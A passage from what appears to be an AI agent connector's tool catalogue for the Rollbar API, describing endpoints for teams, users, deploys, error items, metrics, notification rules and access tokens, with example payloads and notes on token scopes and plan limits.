{ "err": 1, "message": "Project is not in this Team." } ``` GET /api/v1/rollbar/api/1/team/{team_id}/project/{project_id}. Scopes: read. rollbar_get_api_1_team_by_team_id_projects (read) — List a team's projects via GET /api/1/team/{team_id}/projects. # Example Response ```json { "err": 0, "result": [ { "team_id": 272686, "project_id": 178029 }, { "team_id": 272686, "project_id": 178030 } ] } ``` GET /api/v1/rollbar/api/1/team/{team_id}/projects. Scopes: read. rollbar_get_api_1_team_by_team_id_user_by_user_id (read) — Check if a user is assigned to a team via GET /api/1/team/{team_id}/user/{user_id}. Ask whether one user is assigned to one team. A 200 carrying the `team_id`/`user_id` pair means yes. Membership is a STATUS question, so read the reply rather than inferring it from an error: this answers 404 when the user is not on the team and 403 when the credential cannot see the team at all, and those are different facts. GET /api/v1/rollbar/api/1/team/{team_id}/user/{user_id}. Scopes: read. rollbar_get_api_1_team_by_team_id_users (read) — List a team's users via GET /api/1/team/{team_id}/users. List the users assigned to one team, one page at a time with `page`. This is the team's membership, not the account's user list. GET /api/v1/rollbar/api/1/team/{team_id}/users. Scopes: read. rollbar_get_api_1_teams (read) — List all teams via GET /api/1/teams. List the teams on the account, each with its id, name and access level. A team is what Rollbar assigns users and projects to. GET /api/v1/rollbar/api/1/teams. Scopes: read. rollbar_get_api_1_user_by_user_id (read) — Get a user via GET /api/1/user/{user_id}. Get one user on the account by id -- username, email and whether email notifications are enabled -- which is the same record the Members page in the Rollbar dashboard shows. `List all users` returns the ids, and the reply describes the user only as far as this account's own membership goes. GET /api/v1/rollbar/api/1/user/{user_id}. Scopes: read. rollbar_get_api_1_user_by_user_id_projects (read) — List a user's projects via GET /api/1/user/{user_id}/projects. # Example response: ```json { "err": 0, "result": { "projects": [ { "status": 1, "slug": "mox", "id": 1, "account_id": 61 }, { "status": 1, "slug": "moxrts", "id": 25, "account_id": 61 } ] } }``` GET /api/v1/rollbar/api/1/user/{user_id}/projects. Scopes: read. rollbar_get_api_1_user_by_user_id_teams (read) — List a user's teams via GET /api/1/user/{user_id}/teams. List the teams one user belongs to, as a `teams` array. The inverse of listing a team's users, and the cheaper question when the subject is the person rather than the team. GET /api/v1/rollbar/api/1/user/{user_id}/teams. Scopes: read. rollbar_get_api_1_users (read) — List all users via GET /api/1/users. List all users who are members of an account #Response Format ```json { "err": 0, "result": { "users": [ { "username": "brianr", "id": 1, "email": "brian@rollbar.com" }, { "username": "coryvirok", "id": 2, "email": "cory@rollbar.com" } ] } } ``` GET /api/v1/rollbar/api/1/users. Scopes: read. rollbar_get_api_1_versions_by_version (read) — Code version details in one project via GET /api/1/versions/{version}. Returns the details about one specific code version in one project https://docs.rollbar.com/docs/versions GET /api/v1/rollbar/api/1/versions/{version}. Scopes: read. rollbar_get_api_1_versions_by_version_items (read) — List items by code version via GET /api/1/versions/{version}/items. List items that have occurrences for one specific code version. https://docs.rollbar.com/docs/versions GET /api/v1/rollbar/api/1/versions/{version}/items. Scopes: read. rollbar_patch_api_1_deploy_by_deploy_id (write) — Update a deploy via PATCH /api/1/deploy/{deploy_id}. ```JavaScript $.get('http://yoursite.com/test/' + id, function(data) { console.log(data); });``` DIFFERENT TOKEN FAMILY: this is one of only three tools that need a PROJECT access token minted with the `post_server_item` scope (Rollbar dashboard -> the project -> Settings -> Project Access Tokens). An ACCOUNT token -- the one that reaches most of this integration -- is not recognised on this route at all and answers 403 'access token not found', a project `read`+`write` token answers 403 'post_server_item scope is required', and Rollbar REFUSES to mint a token holding `post_server_item` alongside `read` or `write` (400 'Invalid scope combination', measured 2026-09-24). So a connection that can call this tool is a SEPARATE connection that can call almost nothing else; that is Rollbar's rule, not Agentic Fabriq's. PATCH /api/v1/rollbar/api/1/deploy/{deploy_id}. Scopes: post_server_item. rollbar_patch_api_1_item_by_itemid (write) — Update an item via PATCH /api/1/item/{itemid}. Used to modify an item's state. Currently supports: * setting the status, level, title, assigned user * when resolving, setting the "resolved in version" * snoozing / unsnoozing an item (only available for paid accounts) * setting the item owner to a team (only available for Advanced and Enterprise accounts) Example - ```curl curl -X PATCH 'https://api.rollbar.com/api/1/item/275123456' \ --header "Content-Type: application/json" \ --data '{"status": "resolved", "resolved_in_version": "aabbcc1"}' ``` NEEDS A PROJECT ACCESS TOKEN: an ACCOUNT access token is refused on this route no matter what scopes it holds and no matter whether `project_id` is supplied (measured 2026-09-24). Connect a Rollbar connection holding a PROJECT access token with `read` and `write`, minted at the project's Settings -> Project Access Tokens. That token in turn cannot reach the account-level tools -- projects, teams, users, invites -- so the two are different connections rather than one better token. PATCH /api/v1/rollbar/api/1/item/{itemid}. Scopes: write. rollbar_patch_api_1_project_by_project_id_access_token (write) — Update a rate limit (token identifier in the body) via PATCH /api/1/project/{project_id}/access_token. To update a rate limit for a project access token, provide either the project_access_token value or the token’s public_id in the body parameters. PLAN-GATED: configuring token rate limits needs a paid Rollbar plan. Measured 2026-09-24 on a free account: 422 'Upgrade account to configure rate limits'. That is an entitlement rather than a credential fault -- the token is fine, and re-pasting it changes nothing. PATCH /api/v1/rollbar/api/1/project/{project_id}/access_token. Scopes: write. rollbar_patch_api_1_project_by_project_id_access_token_by_token_identifier (write) — Update a rate limit (token identifier in the path) via PATCH /api/1/project/{project_id}/access_token/{token_identifier}. To update the rate limit, include either the legacy access token or the secure public ID in the token_identifier field of the URL. PLAN-GATED: configuring token rate limits needs a paid Rollbar plan. Measured 2026-09-24 on a free account: 422 'Upgrade account to configure rate limits'. That is an entitlement rather than a credential fault -- the token is fine, and re-pasting it changes nothing. PATCH /api/v1/rollbar/api/1/project/{project_id}/access_token/{token_identifier}. Scopes: write. rollbar_post_api_1_deploy (write) — Report a deploy via POST /api/1/deploy. For tool-specific instructions on reporting a deploy, see our [Deploy Tracking](doc:deploy-tracking) docs. For instructions on setting the default deploy timeout period, see [Deploy Timeouts](https://docs.rollbar.com/docs/deploy-tracking#section-deploy-timeout). DIFFERENT TOKEN FAMILY: this is one of only three tools that need a PROJECT access token minted with the `post_server_item` scope (Rollbar dashboard -> the project -> Settings -> Project Access Tokens). An ACCOUNT token -- the one that reaches most of this integration -- is not recognised on this route at all and answers 403 'access token not found', a project `read`+`write` token answers 403 'post_server_item scope is required', and Rollbar REFUSES to mint a token holding `post_server_item` alongside `read` or `write` (400 'Invalid scope combination', measured 2026-09-24). So a connection that can call this tool is a SEPARATE connection that can call almost nothing else; that is Rollbar's rule, not Agentic Fabriq's. POST /api/v1/rollbar/api/1/deploy. Scopes: post_server_item. rollbar_post_api_1_item (write) — Create item via POST /api/1/item. Rollbar receives Occurrences (exceptions and messages) via a RESTful JSON API. Clients send JSON data via an HTTP POST to https://api.rollbar.com/api/1/item/ We strongly recommend using HTTPS, but HTTP is also supported. For HTTP, use http://api.rollbar.com/api/1/item/ POSTed JSON data is accepted either as the body of the request, or form-encoded as the value of the payload parameter (which should be the only parameter). All responses (including error responses) are returned as JSON. ### Data Format The example JSON payload below describes all the required and optional params that Rollbar understands. The meaning of each key is explained in the comments. ```json { // Required: data "data": { // Required: environment // The name of the environment in which this occurrence was seen. // A string up to 255 characters. For best results, use "production" or "prod" for your // production environment. // You don't need to configure anything in the Rollbar UI for new environment names; // we'll detect them automatically. "environment": "production", // Required: body // The main data being sent. It can either be a message, an exception, or a crash report. "body": { // Required: "trace", "trace_chain", "message", or "crash_report" (exactly one) // If this payload is a single exception, use "trace" // If a chain of exceptions (for languages that support inner exceptions), use "trace_chain" // If a message with no stack trace, use "message" // If an iOS crash report, use "crash_report" // Optional: "telemetry". Only applicable if you are sending telemetry data. "telemetry": [ { // Required: level // The severity level of the telemetry data. One of: "critical", "error", "warning", "info", "debug". "level": "info", // Required: type // The type of telemetry data. One of: "log", "network", "dom", "navigation", "error", "manual". "type": "network", // Required: source // The source of the telemetry data. Usually "client" or "server". "source": "client", // Required: timestamp_ms // When this occurred, as a unix timestamp in milliseconds. "timestamp_ms": 1720413393557, // Required: body // The key-value pairs for the telemetry data point. See "body" key below. // If type above is "log", body should contain "message" key. // If type above is "network", body should contain "method", "url", and "status_code" keys. // If type above is "dom", body should contain "element" key. // If type above is "navigation", body should contain "from" and "to" keys. // If type above is "error", body should contain "message" key. "body": { "subtype": "xhr", "method": "GET", "url": "/api/1/item/4/", "status_code": "200", "start_timestamp_ms": 1720413394557, "end_timestamp_ms": 1720413394957 }, }, // more telemetry array elements follow... ], // Option 1: "trace" "trace": { // Required: frames // A list of stack frames, ordered such that the most recent call is last in the list. "frames": [ // Each frame is an object. { // Required: filename // The filename including its full path. "filename": "/Users/brian/www/mox/mox/views/project.py", // Optional: lineno // The line number as an integer "lineno": 26, // Optional: colno // The column number as an integer "colno": 8, // Optional: method // The method or function name "method": "index", // Optional: code // The line of code "code": "_save_last_project(request, project_id, force=True)", // Optional: class_name // A string containing the class name. // Used in the UI when the payload's top-level "language" key has the value "java" "class_name": "java.lang.String", // Optional: context // Additional code before and after the "code" line "context": { // Optional: pre // List of lines of code before the "code" line "pre": [ "project = request.context", "project_id = project.id" ], // Optional: post // List of lines of code after the "code" line "post": [] }, // (Deprecated) Optional: args // List of values of positional arguments to the method/function call // NOTE: as this can contain sensitive data, you may want to scrub the values "args": ["<Request object>", 25], // (Deprecated) Optional: kwargs // Object of keyword arguments (name => value) to the method/function call // NOTE: as this can contain sensitive data, you may want to scrub the values "kwargs": { "force": true }, // Optional: argspec // List of the names of the arguments to the method/function call. "argspec": ["request", "user"], // Optional: varargspec // If the function call takes an arbitrary number of unnamed positional arguments, // the name of the argument that is the list containing those arguments. // For example, in Python, this would typically be "args" when "*args" is used. // The actual list will be found in locals. "varargspec": "args", // Optional: keywordspec // If the function call takes an arbitrary number of keyword arguments, the name // of the argument that is the object containing those arguments. // For example, in Python, this would typically be "kwargs" when "**kwargs" is used. // The actual object will be found in locals. "keywordspec": "kwargs", // Optional: locals // Object of local variables for the method/function call. // The values of variables from argspec, vararspec and keywordspec // can be found in locals. "locals": { "request": "<Request object>", "user": "<User object>", "args": [true, "Python"], "kwargs": {"level": "warning"} } }, { "filename": "/Users/brian/www/mox/mox/views/project.py", "lineno": 497, "method": "_save_last_project", "code": "user = foo" } ], // Required: exception // An object describing the exception instance. "exception": { // Required: class // The exception class name. "class": "NameError", // Optional: message // The exception message, as a string "message": "global name 'foo' is not defined", // Optional: description // An alternate human-readable string describing the exception // Usually the original exception message will have been machine-generated; // you can use this to send something custom "description": "Something went wrong while trying to save the user object" } }, // Option 2: "trace_chain" // Used for exceptions with inner exceptions or causes "trace_chain": [ // Each element in the list should be a "trace" object, as shown above // Must contain at least one element. ], // Option 3: "message" // Only one of "trace", "trace_chain", "message", or "crash_report" should be present. // Presence of a "message" key means that this payload is a log message. "message": { // Required: body // The primary message text, as a string "body": "Request over threshold of 10 seconds", // Can also contain any arbitrary keys of metadata. Their values can be any valid JSON. // For example: "route": "home#index", "time_elapsed": 15.23 }, // Option 4: "crash_report" // Only one of "trace", "trace_chain", "message", or "crash_report" should be present. "crash_report": { // Required: raw // The raw crash report, as a string // Rollbar expects the format generated by rollbar-ios "raw": "<crash report here>" } }, // Optional: level // The severity level. One of: "critical", "error", "warning", "info", "debug" // Defaults to "error" for exceptions and "info" for messages. // The level of the *first* occurrence of an item is used as the item's level. "level": "error", // Optional: timestamp // When this occurred, as a unix timestamp. "timestamp": 1723188822, // Optional: code_version // A string, up to 40 characters, describing the version of the application code // Rollbar understands these formats: // - semantic version (i.e. "2.1.12") // - integer (i.e. "45") // - git SHA (i.e. "3da541559918a808c2402bba5012f6c60b27661c") // If you have multiple code versions that are relevant, those can be sent inside "client" and "server" // (see those sections below) // For most cases, just send it here. "code_version": "3da541559918a808c2402bba5012f6c60b27661c", // Optional: platform // The platform on which this occurred. Meaningful platform names: // "browser", "android", "ios", "flash", "client", "heroku", "google-app-engine" // If this is a client-side event, be sure to specify the platform and use a post_client_item access token. "platform": "linux", // Optional: language // The name of the language your code is written in. // This can affect the order of the frames in the stack trace. The following languages set the most // recent call first - 'ruby', 'javascript', 'php', 'java', 'objective-c', 'lua' // It will also change the way the individual frames are displayed, with what is most consistent with // users of the language. "language": "python", // Optional: framework // The name of the framework your code uses "framework": "pyramid", // Optional: context // An identifier for which part of your application this event came from. // Items can be searched by context (prefix search) // For example, in a Rails app, this could be `controller#action`. // In a single-page javascript app, it could be the name of the current screen or route. "context": "project#index", // Optional: request // Data about the request this event occurred in. "request": { // Can contain any arbitrary keys. Rollbar understands the following: // url: full URL where this event occurred "url": "https://rollbar.com/project/1", // method: the request method "method": "GET", // headers: object containing the request headers. "headers": { // Header names should be formatted like they are in HTTP. "Accept": "text/html", "Referer": "https://rollbar.com/" }, // params: any routing parameters (i.e. for use with Rails Routes) "params": { "controller": "project", "action": "index" }, // GET: query string params "GET": {}, // query_string: the raw query string "query_string": "", // POST: POST params "POST": {}, // body: the raw POST body "body": "", // user_ip: the user's IP address as a string. // Can also be the special value "$remote_ip", which will be replaced with the source IP of the API request. // Will be indexed, as long as it is a valid IPv4 address. "user_ip": "100.51.43.14" }, // Optional: person // The user affected by this event. Will be indexed by ID, username, and email. // People are stored in Rollbar keyed by ID. If you send a multiple different usernames/emails for the // same ID, the last received values will overwrite earlier ones. "person": { // Required: id // A string up to 40 characters identifying this user in your system. "id": "12345", // Optional: username // A string up to 255 characters "username": "brianr", // Optional: email // A string up to 255 characters "email": "brian@rollbar.com" }, // Optional: server // Data about the server related to this event. "server": { // Can contain any arbitrary keys. Rollbar understands the following: // Optional: cpu // A string up to 255 characters "cpu": "x64", // Optional: host // host: The server hostname. Will be indexed. "host": "web4", // Optional: root // root: Path to the application code root, not including the final slash. // Used to collapse non-project code when displaying tracebacks. "root": "/Users/brian/www/mox", // Optional: Branch // branch: Name of the checked-out source control branch. Defaults to "master" "branch": "master", // Optional: code_version // String describing the running code version on the server // See note about "code_version" above "code_version": "b6437f45b7bbbb15f5eddc2eace4c71a8625da8c", // (Deprecated) sha: Git SHA of the running code revision. Use the full sha. "sha": "b6437f45b7bbbb15f5eddc2eace4c71a8625da8c" }, // Optional: client // Data about the client device this event occurred on. // As there can be multiple client environments for a given event (i.e. Flash running inside // an HTML page), data should be namespaced by platform. "client": { // Can contain any arbitrary keys. Rollbar understands the following: // Optional: cpu // A string up to 255 characters "cpu": "x64", "javascript": { // Optional: browser // The user agent string "browser": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3)", // Optional: code_version // String describing the running code version in javascript // See note about "code_version" above "code_version": "b6437f45b7bbbb15f5eddc2eace4c71a8625da8c", // Optional: source_map_enabled // Set to true to enable source map deobfuscation // See the "Source Maps" guide for more details. "source_map_enabled": false, // Optional: guess_uncaught_frames // Set to true to enable frame guessing // See the "Source Maps" guide for more details. "guess_uncaught_frames": false } }, // Optional: custom // Any arbitrary metadata you want to send. "custom" itself should be an object. "custom": {}, // Optional: fingerprint // A string controlling how this occurrence should be grouped. Occurrences with the same // fingerprint are grouped together. See the "Grouping" guide for more information. // Should be a string up to 40 characters long; if longer than 40 characters, we'll use its SHA1 hash. // If omitted, we'll determine this on the backend. "fingerprint": "50a5ef9dbcf9d0e0af2d4e25338da0d430f20e52", // Optional: title // A string that will be used as the title of the Item occurrences will be grouped into. // Max length 255 characters. // If omitted, Rollbar will determine this on the backend. "title": "NameError when setting last project in views/project.py", // Optional: uuid // A string, up to 36 characters, that uniquely identifies this occurrence. // While it can now be any latin1 string, this may change to be a 16 byte field in the future. // We recommend using a UUID4 (16 random bytes). // The UUID space is unique to each project, and can be used to look up an occurrence later. // It is also used to detect duplicate requests. If you send the same UUID in two payloads, the second // one will be discarded. // While optional, it is recommended that all clients generate and provide this field "uuid": "f81d4fae-7dec-11d0-a765-00a0c91e6bf6", // Optional: notifier // Describes the library used to send this event. "notifier": { // Optional: name // Name of the library "name": "pyrollbar", // Optional: version // Library version string "version": "1.0.0" } } } ``` Note that you can send us whatever data you want and we'll store it. Max payload size is 1024kb (kilobytes). For best results, put custom data in `request`, `server`, `client`, `person`, or `custom`. ### Response Format #### Success On success, this endpoint will respond with HTTP status code 200, and a JSON response like the following: ```javascript { // Always present: err // 0 indiciates that there was no error err: 0, // Always present: result result: { // Always present: uuid // UUID of the posted occurrence. // If you provided one in the payload, this will be the value you provided // If you did not, one will be generated for you. // You can use this later to look up the occurrence by UUID. uuid: "d4c7acef55bf4c9ea95e4fe9428a8287", // Deprecated: id // Unused; will be removed in the future id: null } } ``` On error, this endpoint will respond with an HTTP error code 400 or higher, and a JSON response like the following: ```javascript { // Always present: err // 1 indicates there was an error err: 1, // Always present: message // A human-readable message describing the error message: "request entity too large" } ``` DIFFERENT TOKEN FAMILY: this is one of only three tools that need a PROJECT access token minted with the `post_server_item` scope (Rollbar dashboard -> the project -> Settings -> Project Access Tokens). An ACCOUNT token -- the one that reaches most of this integration -- is not recognised on this route at all and answers 403 'access token not found', a project `read`+`write` token answers 403 'post_server_item scope is required', and Rollbar REFUSES to mint a token holding `post_server_item` alongside `read` or `write` (400 'Invalid scope combination', measured 2026-09-24). So a connection that can call this tool is a SEPARATE connection that can call almost nothing else; that is Rollbar's rule, not Agentic Fabriq's. POST /api/v1/rollbar/api/1/item. Scopes: post_server_item. rollbar_post_api_1_metrics_items (read) — Get metrics for a list of items via POST /api/1/metrics/items. Get metrics for a provided list of item IDs. The endpoint follows search/query semantics as a POST request using project read access token, or account read access token with a project_id. PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. POST /api/v1/rollbar/api/1/metrics/items. Scopes: read. rollbar_post_api_1_metrics_occurrences (read) — Occurrences over a span of time via POST /api/1/metrics/occurrences. Get occurrences metrics over a span of time by filtering, grouping, and aggregating. The endpoint follows search/query semantics as a POST request using project read access token. List of **columns/fields** that can be used with some components of your query: * `project_id` * `item_id` * `environment` * `browser_family` * `browser_version` * `os_family` * `os_version` * `device_brand` * `device_model` * `ip_address` * `item_status` * `item_level` * `item_group_item_id` * `item_title` * `item_counter` * `person_username` * `person_email` * `person_id` * `code_version` * `count` * `occurrence_id` * `uuid` * `context` * `platform` * `framework` * `platform_canonical` * `framework_canonical` * `language` * `language_name` * `notifier_name` * `notifier_version` * `occurrence_count` * `message_body` * `timestamp` * `fingerprint` * `server_host` * `server_root` * `server_pid` * `server_cpu` * `scm_branch` * `request_url` * `request_method` * `request_query_string` * `request_body` POST /api/v1/rollbar/api/1/metrics/occurrences. Scopes: read. rollbar_post_api_1_metrics_ttr (read) — Get resolution time metrics for a list of projects via POST /api/1/metrics/ttr. Get resolution time metrics for a provided list of project IDs. It can be filtered by environments, levels and frameworks. POST /api/v1/rollbar/api/1/metrics/ttr. Scopes: read. rollbar_post_api_1_notifications_email_rules (write) — Create email notification rules via POST /api/1/notifications/email/rules. Create Email notification rules POST /api/v1/rollbar/api/1/notifications/email/rules. Scopes: write. rollbar_post_api_1_notifications_slack_rules (write) — Create Slack notification rules via POST /api/1/notifications/slack/rules. Create Slack notification rules POST /api/v1/rollbar/api/1/notifications/slack/rules. Scopes: write. rollbar_post_api_1_notifications_webhook_rules (write) — Create webhook notification rules via POST /api/1/notifications/webhook/rules. Create Webhook notification rules POST /api/v1/rollbar/api/1/notifications/webhook/rules. Scopes: write. rollbar_post_api_1_people_delete_jobs (write) — Request person deletion via POST /api/1/people/delete_jobs. This endpoint allows for removal of a tracked person from all projects within an account. To identify the person, you must provide **exactly one** of the following: * `email` * `username` * `person_id` These correspond to the values transmitted in the original occurrences (see the docs for [Create item](ref:create-item)) and can also be found by viewing any tracked person via the [People Tracking](doc:person-tracking) page in any project. Requests for person deletion are asynchronous. The returned value will include an `id` property that can be used to check the status of the deletion process, e.g. ``` { "err": 0, "result": { "id": 3 } } ``` POST /api/v1/rollbar/api/1/people/delete_jobs. Scopes: write. rollbar_post_api_1_project_by_project_id_access_tokens (write) — Create a project access token via POST /api/1/project/{project_id}/access_tokens. Mint a new access token on one project. `scopes` picks what it may do -- `read`, `write`, `post_server_item` or `post_client_item` -- and `name` labels it. THE NEW TOKEN'S VALUE IS REDACTED FROM THIS RESULT and Rollbar never returns it again: tokens created since April 2025 are encrypted and are not retrievable from the UI or the API after creation. Everything else about the token comes back, including the `public_id` the rate-limit and delete operations address it by. If you need the token value itself, create it in the Rollbar UI, where it is shown once. THE TOKEN VALUE IS REDACTED FROM THIS RESULT. Rollbar returns the `access_token` field as a live credential, and Agentic Fabriq replaces it before the reply leaves the connector, because a tool result reaches the model's context and the audit pipeline. Everything else -- the `public_id`, the scopes, the status, the rate-limit window -- is returned untouched. Rollbar shows a token's value only once, at creation, and encrypts it afterwards, so if you need the value itself, mint the token in the Rollbar dashboard where it is displayed. POST /api/v1/rollbar/api/1/project/{project_id}/access_tokens. Scopes: write. rollbar_post_api_1_projects (write) — Create a project via POST /api/1/projects. Create a project on the account. `name` is required; `source_project_id` copies settings from an existing project. The reply carries the new project's id, which the project operations then take. A fresh project is created with its own onboarding access tokens, which `List all project access tokens` reports. POST /api/v1/rollbar/api/1/projects. Scopes: write. rollbar_post_api_1_rql_job_by_job_id_cancel (write) — Cancel an RQL job via POST /api/1/rql/job/{job_id}/cancel. # Response The response will be a RQL Job resource, example: ```json { "err" 0, "result": { "id": 123, // job id "project_id": 456, "query_string": "show tables", "status": "cancelled", // One of "new", "running", "success", "failed", "cancelled", or "timed_out" "job_hash": "abcdefabcdefabcdef", "date_created": 1446598885, "date_modified": 1446598885 } }``` POST /api/v1/rollbar/api/1/rql/job/{job_id}/cancel. Scopes: read. rollbar_post_api_1_rql_jobs (write) — Create an RQL job via POST /api/1/rql/jobs. # Response The response will be a RQL Job resource, example: ```json { "err" 0, "result": { "id": 123, // job id "project_id": 456, "query_string": "show tables", "status": "new", // One of "new", "running", "success", "failed", "cancelled", or "timed_out" "job_hash": "abcdefabcdefabcdef", "date_created": 1446598885, "date_modified": 1446598885 } }``` POST /api/v1/rollbar/api/1/rql/jobs. Scopes: read. rollbar_post_api_1_service_links (write) — Create a service link via POST /api/1/service_links. Create Service Links PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. POST /api/v1/rollbar/api/1/service_links. Scopes: write. rollbar_post_api_1_team_by_team_id_invites (write) — Invite an email address to a team via POST /api/1/team/{team_id}/invites. Invites a user to the specific team, using the user's email address. If the email address belongs to an existing Rollbar user, they will be immediately added to the team, and sent an email notification. Otherwise, an invite email will be sent, containing a signup link that will allow the recipient to join the specified team. # Example Response ``` { "err": 0, "result": { "id": 71328, "from_user_id": 5325, "team_id": 272686, "to_email": "gilfoyle@piedpiper.com", "status": "pending", "date_created": 1519946545, "date_redeemed": null } } ``` POST /api/v1/rollbar/api/1/team/{team_id}/invites. Scopes: write. rollbar_post_api_1_teams (write) — Create a team via POST /api/1/teams. # Access Levels `standard` is the only access level you can choose in the UI. `light` and `view` are API-only team access levels. `light` gives the team read and write access, but not to all settings. `view` gives the team read-only access. POST /api/v1/rollbar/api/1/teams. Scopes: write. rollbar_put_api_1_notifications_email (write) — Configure email notifications via PUT /api/1/notifications/email. Configuring Email Notifications integration PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/email. Scopes: write. rollbar_put_api_1_notifications_email_rule_by_rule_id (write) — Update an email notification rule via PUT /api/1/notifications/email/rule/{rule_id}. Update a notification rule by ID PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/email/rule/{rule_id}. Scopes: write. rollbar_put_api_1_notifications_email_rules (write) — Replace all email notification rules via PUT /api/1/notifications/email/rules. This endpoint replaces all existing rules for the channel with the ones provided. To update a specific rule, use the `/api/1/notifications/slack/rule/{rule_id}` endpoint instead. To add new rules, use the `POST` endpoint. REPLACES THE WHOLE COLLECTION: the array sent becomes the complete set of rules for this channel, so any existing rule not included in it is deleted. Read the current rules with the matching List tool and send them back alongside the new one, or use the Create tool, which appends. PUT /api/v1/rollbar/api/1/notifications/email/rules. Scopes: write. rollbar_put_api_1_notifications_pagerduty (write) — Configure the PagerDuty integration via PUT /api/1/notifications/pagerduty. Configuring PagerDuty integration PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/pagerduty. Scopes: write. rollbar_put_api_1_notifications_pagerduty_rule_by_rule_id (write) — Update a PagerDuty notification rule via PUT /api/1/notifications/pagerduty/rule/{rule_id}. Update a notification rule by ID PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/pagerduty/rule/{rule_id}. Scopes: write. rollbar_put_api_1_notifications_pagerduty_rules (write) — Replace all PagerDuty notification rules via PUT /api/1/notifications/pagerduty/rules. This endpoint replaces all existing rules for the channel with the ones provided. To update a specific rule, use the `/api/1/notifications/slack/rule/{rule_id}` endpoint instead. To add new rules, use the `POST` endpoint. REPLACES THE WHOLE COLLECTION: the array sent becomes the complete set of rules for this channel, so any existing rule not included in it is deleted. Read the current rules with the matching List tool and send them back alongside the new one, or use the Create tool, which appends. PUT /api/v1/rollbar/api/1/notifications/pagerduty/rules. Scopes: write. rollbar_put_api_1_notifications_slack (write) — Configure the Slack integration via PUT /api/1/notifications/slack. Configuring Slack integration PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/slack. Scopes: write. rollbar_put_api_1_notifications_slack_rule_by_rule_id (write) — Update a Slack notification rule via PUT /api/1/notifications/slack/rule/{rule_id}. Update a notification rule by ID PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/slack/rule/{rule_id}. Scopes: write. rollbar_put_api_1_notifications_slack_rules (write) — Replace all Slack notification rules via PUT /api/1/notifications/slack/rules. This endpoint replaces all existing rules for the channel with the ones provided. To update a specific rule, use the `/api/1/notifications/slack/rule/{rule_id}` endpoint instead. To add new rules, use the `POST` endpoint. REPLACES THE WHOLE COLLECTION: the array sent becomes the complete set of rules for this channel, so any existing rule not included in it is deleted. Read the current rules with the matching List tool and send them back alongside the new one, or use the Create tool, which appends. PUT /api/v1/rollbar/api/1/notifications/slack/rules. Scopes: write. rollbar_put_api_1_notifications_webhook (write) — Configure the webhook integration via PUT /api/1/notifications/webhook. Configuring Webhook integration PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/webhook. Scopes: write. rollbar_put_api_1_notifications_webhook_rule_by_rule_id (write) — Update a webhook notification rule via PUT /api/1/notifications/webhook/rule/{rule_id}. Update a notification rule by ID PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/notifications/webhook/rule/{rule_id}. Scopes: write. rollbar_put_api_1_notifications_webhook_rules (write) — Replace all webhook notification rules via PUT /api/1/notifications/webhook/rules. This endpoint replaces all existing rules for the channel with the ones provided. To update a specific rule, use the `/api/1/notifications/webhook/rule/{rule_id}` endpoint instead. To add new rules, use the `POST` endpoint. REPLACES THE WHOLE COLLECTION: the array sent becomes the complete set of rules for this channel, so any existing rule not included in it is deleted. Read the current rules with the matching List tool and send them back alongside the new one, or use the Create tool, which appends. PUT /api/v1/rollbar/api/1/notifications/webhook/rules. Scopes: write. rollbar_put_api_1_service_links_by_id (write) — Replace a service link via PUT /api/1/service_links/{id}. Replace existing Service Link PASS `project_id` WHEN THE CONNECTION HOLDS AN ACCOUNT TOKEN. Rollbar documents no `project_id` for this operation and refuses an account token without one -- 403 'Requires project access', measured 2026-09-24 -- while accepting the parameter it does not document. `List all projects` returns the ids. A connection holding a PROJECT access token is already scoped to one project and may omit it. PUT /api/v1/rollbar/api/1/service_links/{id}. Scopes: 